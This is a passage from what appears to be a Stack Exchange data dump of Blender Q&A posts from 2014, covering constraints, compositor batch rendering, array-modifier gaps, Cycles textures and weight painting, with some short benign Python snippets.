at.&lt;/li&gt;&#xA;&lt;li&gt;By defining all the orientation of the green plane in a driver, by processing the two objects rotation values, the code need to switch its result according to which side of the object is looked at.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This right moment may be defined by an angular difference between the camera and the target. Given &lt;code&gt;cam&lt;/code&gt; the value of the Z Rotation transform channel of the camera, and &lt;code&gt;target&lt;/code&gt; the value of the Z Rotation transform channel of the target (both in World Space and in &lt;code&gt;[-pi, pi]&lt;/code&gt;), a naive approach may define this moment by : &lt;code&gt;cam &amp;lt; target&lt;/code&gt;. Thus, due to the angular system (0 to pi in a side, 0 to -pi in another) this approach do not work when the target may be oriented in any side, and the camera may cross the &quot;pi zone&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Synthesized problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to define which side of the target the camera is looking at, in any possible orientation of the target and the camera ? Which formula would give the correct moment where the side is crossed, in any orientation context ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or what any other setup may reach the illustrated goal ?&lt;/p&gt;&#xA;" OwnerUserId="5979" LastEditorUserId="5979" LastEditDate="2014-09-23T11:53:08.237" LastActivityDate="2014-09-23T11:53:08.237" Title="How rely the orientation of an object facing the camera to the side it's looked at?" Tags="&lt;constraints&gt;&lt;drivers&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15752" PostTypeId="2" ParentId="14905" CreationDate="2014-09-11T22:30:44.003" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Add an Array modifier to your plane&lt;/li&gt;&#xA;&lt;li&gt;Add an Empty to your scene&lt;/li&gt;&#xA;&lt;li&gt;Set the Object Offset of the modifier to the new Empty:&lt;/li&gt;&#xA;&lt;li&gt;Move the Emtpy up along Z, and rotate it 90 degrees.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sWr9y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you'll have to manually move the Empty up and down until it looks good.. I'm not sure how you could automatically detect the amount of offset required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click &quot;Apply&quot; on the Array modifier, both planes will exist as a single object.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2014-09-11T22:49:44.580" LastActivityDate="2014-09-11T22:49:44.580" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15753" PostTypeId="1" AcceptedAnswerId="15810" CreationDate="2014-09-11T22:56:04.467" Score="2" ViewCount="336" Body="&lt;p&gt;I know, this question sounds old, but there is a twist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use image stacking to reduce noise, you have to choose a different seed for every render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do that automatically I found the following methods so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;using &lt;code&gt;#frame&lt;/code&gt; as driver in the seed field.  This however only works if you &lt;em&gt;have&lt;/em&gt; multiple frames (i.e. render an animation) - not for a single frame rendered repeatedly.&lt;/li&gt;&#xA;&lt;li&gt;using the small Python snippet &lt;code&gt;noise.random() * 10000&lt;/code&gt;.&#xA;This works fine for normal renders, but it screws up viewport rendering (at least in 2.71): the render never ends&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there something, that can do both?&lt;/p&gt;&#xA;" OwnerUserId="5556" LastActivityDate="2014-09-13T17:52:45.110" Title="Is there a way to get ONE random value as seed for Cyles per render?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15755" PostTypeId="1" CreationDate="2014-09-12T01:32:07.660" Score="11" ViewCount="1266" Body="&lt;p&gt;There are tools to batch process images already of course, (such as &lt;strong&gt;ImageMagick&lt;/strong&gt;), but this isn't as flexible as Blender's compositor since they typically perform linear operations and don't have the control you get with a node-tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to take point Blender at a directory of images (for example), and batch process them (using an existing compositor setup).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-09-12T02:11:16.630" LastActivityDate="2015-03-05T15:31:08.057" Title="Can the compositor be used to batch process images?" Tags="&lt;scripting&gt;&lt;compositor&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15756" PostTypeId="2" ParentId="15755" CreationDate="2014-09-12T02:22:42.517" Score="10" Body="&lt;p&gt;Yes, one not so elegant (no scripting :) but easy way to go about this would be to just use the &lt;em&gt;Movie Clip&lt;/em&gt; node and point it to the directory with the images, pass it as input to your node group/compositor setup and render it out as an animation of stills or output each separately using the &lt;em&gt;File Output&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only con or drawback to this approach is that the images need to be in a sequence for Blender to iterate through them.. &lt;code&gt;img_001, img_002 ... img_00n&lt;/code&gt; or so you can scrub through in the clip editor or timeline but otherwise it should work as desired.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-09-12T02:22:42.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15757" PostTypeId="2" ParentId="15746" CreationDate="2014-09-12T06:28:58.617" Score="9" Body="&lt;p&gt;You can simply use the &lt;strong&gt;Copy Rotation&lt;/strong&gt; contraint:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a new empty;&lt;/li&gt;&#xA;&lt;li&gt;Select your object, switch to &lt;strong&gt;Constraints&lt;/strong&gt; tab in &lt;strong&gt;Properties&lt;/strong&gt; Editor, add a &lt;strong&gt;Copy Rotation&lt;/strong&gt; constraint, set the empty as &lt;em&gt;Target&lt;/em&gt;, toggle &lt;em&gt;Offset&lt;/em&gt;, set &lt;em&gt;Local Space&lt;/em&gt; as the owner space (current object).&lt;/li&gt;&#xA;&lt;li&gt;Then you control the rotation by rotating the empty.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Jnix.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;img src=&quot;https://i.stack.imgur.com/F0fbA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; For quick constraint creation, you can also first select the empty, then holding &lt;kbd&gt;Shift&lt;/kbd&gt; to select your target object, then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; -&gt; Copy Rotation.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-09-12T06:28:58.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15758" PostTypeId="1" AcceptedAnswerId="15759" CreationDate="2014-09-12T06:37:33.910" Score="0" ViewCount="257" Body="&lt;p&gt;I want to simulate a multi-agent system with Blender. It's almost done, but I experience a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System agents speak to each other by passing messages, and I want to pass messages between them. I considered a text object as container of these messages. There is no constraint on the number of agents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create one (or some) text object and reuse it many times, by only changing source and destination locations and body texts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some search, I realized, that there is no &lt;code&gt;data_path&lt;/code&gt; that supports &lt;code&gt;keyframe_insert()&lt;/code&gt; to change the body text. Beside that I found dynamic text, but my context is extremely different with that method's context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change text on every keyframe, and it depends on my simulation's input.&lt;/p&gt;&#xA;" OwnerUserId="5996" LastEditorUserId="1363" LastEditDate="2014-09-12T19:56:00.633" LastActivityDate="2014-09-12T19:56:00.633" Title="making reusable text object" Tags="&lt;python&gt;&lt;scripting&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15759" PostTypeId="2" ParentId="15758" CreationDate="2014-09-12T07:05:12.627" Score="1" Body="&lt;p&gt;An &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.app.handlers.html?highlight=frame_change_pre#bpy.app.handlers.frame_change_pre&quot; rel=&quot;nofollow&quot;&gt;application handler&lt;/a&gt; could be used to read subtitle data from your simulation module and display it by editing a text object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;&#xA;@persistent&#xA;def frame_change(arg):&#xA;    print(&quot;Load Handler:&quot;, bpy.data.filepath)&#xA;    t = bpy.data.objects[&quot;Text&quot;]&#xA;    # here get the text you want to display&#xA;    label = (&quot;Frame # %d&quot; % bpy.context.scene.frame_current)&#xA;    t.data.body = label&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(frame_change)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-09-12T07:05:12.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15760" PostTypeId="1" AcceptedAnswerId="15762" CreationDate="2014-09-12T07:11:43.887" Score="5" ViewCount="3710" Body="&lt;p&gt;Repeating a segment of a tire with the &lt;em&gt;Array Modifier&lt;/em&gt; along a curve creates a litte gap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zl6bQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other options besides changing the the &lt;em&gt;Array Modifier's&lt;/em&gt; relative offset?&#xA;(This would require manually adjustment of the mesh)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Merge&lt;/em&gt; + &lt;em&gt;First Last&lt;/em&gt; would destroy the mesh.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-11-23T03:17:36.393" Title="How could a gap between array modifier created objects be closed?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;bezier-curves&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15761" PostTypeId="1" CreationDate="2014-09-12T08:55:06.290" Score="4" ViewCount="8774" Body="&lt;p&gt;where to find the &lt;strong&gt;clouds texture type&lt;/strong&gt; in node editor while using cycles? it is there while using displace modifier but not in node editor. &lt;/p&gt;&#xA;" OwnerUserId="5998" LastActivityDate="2014-09-12T15:16:49.220" Title="Cloud texture type in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15762" PostTypeId="2" ParentId="15760" CreationDate="2014-09-12T10:28:45.953" Score="7" Body="&lt;p&gt;Merge + First Last will not affect anything to the gap in your case. Because:&#xA;The reason that the first/last duplicate seem to be close is because of the Curve modifier, which affect AFTER the Array modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to first minimize the gap by adjusting in Array modifier, then go to the Edit mode of either the unit piece or the curve, &lt;kbd&gt;S&lt;/kbd&gt; to scale, drag mouse while holding &lt;kbd&gt;Shift&lt;/kbd&gt; to enable the very fine presision on scale, and zoom in the view, toggle &lt;em&gt;Display modifier in Edit mode&lt;/em&gt; and &lt;em&gt;Adjust edit cage to modifier result&lt;/em&gt; on all modifiers (the last two icons in every modifier panel). This would be helpful to see the result directly and simutaneously. Zoom in further, then scale again... repeat above steps (if necessary) until the gap is hardly noticed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 1 (adjusting curve):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xi7e6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 2 (adjusting unit piece):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b9Yg6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you really want to perfectly remove that gap, you may have to apply all modifiers first, then go to Edit mode and remove doubles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is indeed possible to calculate exactly how much scaling is needed, but it will involve the math, and something about the relative position on pivots. I don't think it would be of much sense in most case.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[UPDATE]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to get rid of the gap by Merge is using Object Offset feature:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 3 (using object offset):&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/maYu6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About how to use it, I recommend to see &lt;a href=&quot;https://web.archive.org/web/20150318062312/http://cgcookie.com/blender/2010/03/30/tip-spin-duplicates-with-an-array-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;this simple guide&lt;/a&gt; from CGCookie.com. &lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="3127" LastEditDate="2015-11-23T03:17:36.393" LastActivityDate="2015-11-23T03:17:36.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15763" PostTypeId="1" CreationDate="2014-09-12T11:29:08.433" Score="0" ViewCount="782" Body="&lt;p&gt;I'm new to blender's animation thing, and I made an animation for my ship, it simply goes up and down slowly. However, whenever I export it to unity and start to use it, my ship teleports itself to a different position and starts animating from there. I want this animation to stand wherever it is and just do the up and down, how can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6000" LastEditorUserId="241" LastEditDate="2014-09-12T12:22:09.730" LastActivityDate="2014-10-13T08:54:05.657" Title="Exporting animations to unity 3d" Tags="&lt;animation&gt;&lt;export&gt;&lt;unity&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15764" PostTypeId="2" ParentId="15763" CreationDate="2014-09-12T12:04:37.023" Score="0" Body="&lt;p&gt;You might need to parent the object to an empty GameObject and move that to where you want the animation to play.&lt;/p&gt;&#xA;" OwnerUserId="3420" LastActivityDate="2014-09-12T12:04:37.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15765" PostTypeId="1" CreationDate="2014-09-12T12:21:00.990" Score="0" ViewCount="647" Body="&lt;p&gt;I know how to set a constraint target via Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.data.objects[&quot;RightArmIKDataPoint&quot;]&#xA;bpy.data.objects[&quot;MySkeleton&quot;].pose.bones[&quot;RightArmIK&quot;].constraints[&quot;MocapHook&quot;].target = ob&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I do not know &lt;strong&gt;how to unset this&lt;/strong&gt;. I don't know what set the target to to be empty.&lt;/p&gt;&#xA;" OwnerUserId="6002" LastEditorUserId="1363" LastEditDate="2014-09-12T19:51:46.537" LastActivityDate="2014-09-12T19:52:07.610" Title="Remove Target Object reference from constraint with python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15766" PostTypeId="1" AcceptedAnswerId="15771" CreationDate="2014-09-12T12:21:51.363" Score="2" ViewCount="3957" Body="&lt;p&gt;I have a hologram like effect in the Cycles render engine. And so far I'm satisfied with the results.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZPF8w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my node setup is this (&quot;Emission&quot; shader and &quot;Transparent&quot; shader are mixed together by a &quot;Layer Weight&quot; node in the &quot;Factor&quot; value of the &quot;Mix Shader&quot; - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/3Bquh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, is there a way to create those transparent lines that when animated go upwards like in many sci-fi movies? Something like this - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/Xyl7l.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-09-12T19:51:09.813" LastActivityDate="2014-09-12T19:51:09.813" Title="Transparent lines for a hologram like effect" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15767" PostTypeId="1" AcceptedAnswerId="28815" CreationDate="2014-09-12T12:23:52.790" Score="2" ViewCount="796" Body="&lt;p&gt;I am doing an animation and i would like to import my f-curve from a chart which has f.e. on the x-axis=frame and on the y-axis= scale. I know that there is a Add-On doing that but it is not working in 2.69 neither in 2.7+, which can be found here &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?209181-A-Script-to-Import-a-CSV-File-and-Create-F-Curves-(for-Blender-2-5x-or-later)&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?209181-A-Script-to-Import-a-CSV-File-and-Create-F-Curves-(for-Blender-2-5x-or-later)&lt;/a&gt;&#xA;So is there any way i can still import a chart from excel to Blender to give specific animation points?&#xA;regards hans&lt;/p&gt;&#xA;" OwnerUserId="6001" LastActivityDate="2015-04-22T21:01:47.760" Title="Import chart into Blender Graph Editor" Tags="&lt;animation&gt;&lt;import&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15768" PostTypeId="2" ParentId="15765" CreationDate="2014-09-12T12:45:28.397" Score="1" Body="&lt;p&gt;Simply set the the &lt;code&gt;target&lt;/code&gt; property to &lt;code&gt;None&lt;/code&gt; to clear the target field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your example it would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...constraints[&quot;MocapHook&quot;].target = None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="241" LastEditorUserId="1363" LastEditDate="2014-09-12T19:52:07.610" LastActivityDate="2014-09-12T19:52:07.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15769" PostTypeId="1" CreationDate="2014-09-12T13:14:00.157" Score="3" ViewCount="234" Body="&lt;p&gt;I'm trying to customise my Blender further, but finding it hard to set it up the way I want.&#xA;A few of the things I want to accomplish in order of complexity:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Box select on &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt;&lt;br&gt;&#xA;Box select with consistent modifier-key use: &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; to add to selection, &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; to remove from selection.&lt;br&gt;&#xA;The above, but additionally: releasing the &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; exits box select (confirms)&lt;br&gt;&#xA;The above, but additionally: clicking over empty viewport starts box select, clicking over a mesh starts paint-select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can set Box Select to &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; click, but have found it kind of annoying without at least some of the other things I bring up. Are these possible, and if so: without much scripting?&lt;/p&gt;&#xA;" OwnerUserId="253" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.450" LastActivityDate="2018-03-01T08:05:20.167" Title="Could LMB be made to box-select when used outside of a model, but circle-select when initiated over the mesh?" Tags="&lt;3d-view&gt;&lt;customization&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15771" PostTypeId="2" ParentId="15766" CreationDate="2014-09-12T14:44:18.850" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bY2V5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bY2V5.png&quot; alt=&quot;Cycles nodes&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;I used a &lt;em&gt;Checker Texture&lt;/em&gt; to make the lines, adjust the &lt;em&gt;scale&lt;/em&gt; to make the thickness of the lines you want. The &lt;em&gt;Mapping&lt;/em&gt; node's &lt;em&gt;Scale&lt;/em&gt; along the Y and X to 0, stretches out the checker texture to make it a line. Then the &lt;em&gt;Location&lt;/em&gt; along the Z is animated to make the lines move. &#xA;Replace the two &lt;em&gt;Emission&lt;/em&gt; nodes for your hologram shader.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-09-12T14:44:18.850" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15772" PostTypeId="1" AcceptedAnswerId="15774" CreationDate="2014-09-12T15:08:58.023" Score="4" ViewCount="6774" Body="&lt;p&gt;I want to know how to weight paint the back and front and sides of the selected region at once instead of keep changing the view then doing the same thing. So for example if we have a cube in front view and I pressed the &lt;kbd&gt;B&lt;/kbd&gt; to select the bounding box, and I selected the area where the cube is located, what I want to be done is to select everything in this bounding box in all views, so in this case will be the whole cube. &#xA;I have tried enabling and disabling the &lt;code&gt;limit to selection&lt;/code&gt; option but still only the front faces are selected.&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="2517" LastEditDate="2015-03-16T10:15:46.820" LastActivityDate="2015-10-28T15:34:13.433" Title="Weight paint front and back faces at the same time" Tags="&lt;selection-tools&gt;&lt;weight-painting&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15773" PostTypeId="2" ParentId="15761" CreationDate="2014-09-12T15:16:49.220" Score="7" Body="&lt;p&gt;&lt;strong&gt;blender internal clouds&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dliPv.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dliPv.png&quot; alt=&quot;internal clouds&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;all default settings, shadeless material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cycles noise&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/oMUIc.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oMUIc.png&quot; alt=&quot;cycles noise&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Niose texture &lt;em&gt;Scale&lt;/em&gt; set to 8. All rest left to defaults. Cycles shadeless material, with a &lt;em&gt;RGB Curves&lt;/em&gt; node to boost the contrast in the &lt;em&gt;Noise Texture&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;With those few settings changed you can get the cycles noise texture look very much like the blender internal clouds texture. &lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-09-12T15:16:49.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15774" PostTypeId="2" ParentId="15772" CreationDate="2014-09-12T15:25:48.063" Score="7" Body="&lt;p&gt;It sounds like you need to uncheck &lt;em&gt;limit selection to visible&lt;/em&gt; at the bottom of the 3D view.  When this is selected you can only paint or select geometry that is visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7bbuu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What &lt;em&gt;limit to selection&lt;/em&gt; does is only let you weight paint geometry which is selected in edit mode.  So be sure that if this is enabled you have gone into edit mode and selected what you want to weight paint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lpa15.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-10-28T15:34:13.433" LastActivityDate="2015-10-28T15:34:13.433" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15775" PostTypeId="2" ParentId="15755" CreationDate="2014-09-12T15:43:55.230" Score="8" Body="&lt;p&gt;You could setup a blend file with the composite nodes setup as desired, ensuring you start from an image input node and finish with a composite node, then script setting the input and output image names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WqtFJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, os&#xA;&#xA;# configure input and oupt dirs &#xA;inputDir = '/tmp/input'&#xA;outputDir = '/tmp/output'&#xA;# ensure this points to the input image node - name can vary&#xA;inputNode = bpy.context.scene.node_tree.nodes['Image']&#xA;&#xA;inputImages = os.listdir(inputDir)&#xA;bpy.context.scene.render.resolution_percentage = 100&#xA;&#xA;for i in inputImages:&#xA;    inputNode.image.filepath = os.path.join(inputDir,i)&#xA;    bpy.context.scene.render.resolution_x = inputNode.image.size[0]&#xA;    bpy.context.scene.render.resolution_y = inputNode.image.size[1]&#xA;    bpy.context.scene.render.filepath = os.path.join(outputDir,i)&#xA;    bpy.ops.render.render(write_still=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-12T15:43:55.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15777" PostTypeId="2" ParentId="14905" CreationDate="2014-09-12T16:50:48.483" Score="3" Body="&lt;p&gt;starting with two objects like you describe:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kmjuv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Add a shrinkwrap modifier&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hLCF2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;to get something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZybQb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Some faces look beveled because the quads forming the mesh cannot accommodate the deformation properly.&lt;/p&gt;&#xA;&lt;p&gt;To correct the topology of the edges in question, there are two options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1: Press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;T&lt;/kbd&gt; to triangulate the mesh.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fGRmz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;2: Manually subdivide the offending faces selecting vertices and using &lt;kbd&gt;J&lt;/kbd&gt; to join the edges.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dSjpx.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-12T19:48:04.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15778" PostTypeId="2" ParentId="15693" CreationDate="2014-09-12T17:15:51.417" Score="2" Body="&lt;p&gt;Wow Blender/Python is really like an onion ( a rather large on at that ) and my eyes have been watering like made getting through the layers :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok I finally ran grep in the scripts directory as I should have when pink vertex first sugessted it. Duh.&#xA;Line 340 in bl_extract_messages.py gives it up (code below). So it looks to me that if it doesn't have a bl_rna.description (or bl_description) then it uses the &lt;code&gt;__doc__&lt;/code&gt; part. &#xA;In the process I realised that the bulk of what I need is directly in the keymaps them selves as .name attribute of the individual keymap. This is derived from the bl_label that is in the op that is called by the new keymap definition line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I went round in circles when it was right under my nose.&#xA;Thanks again 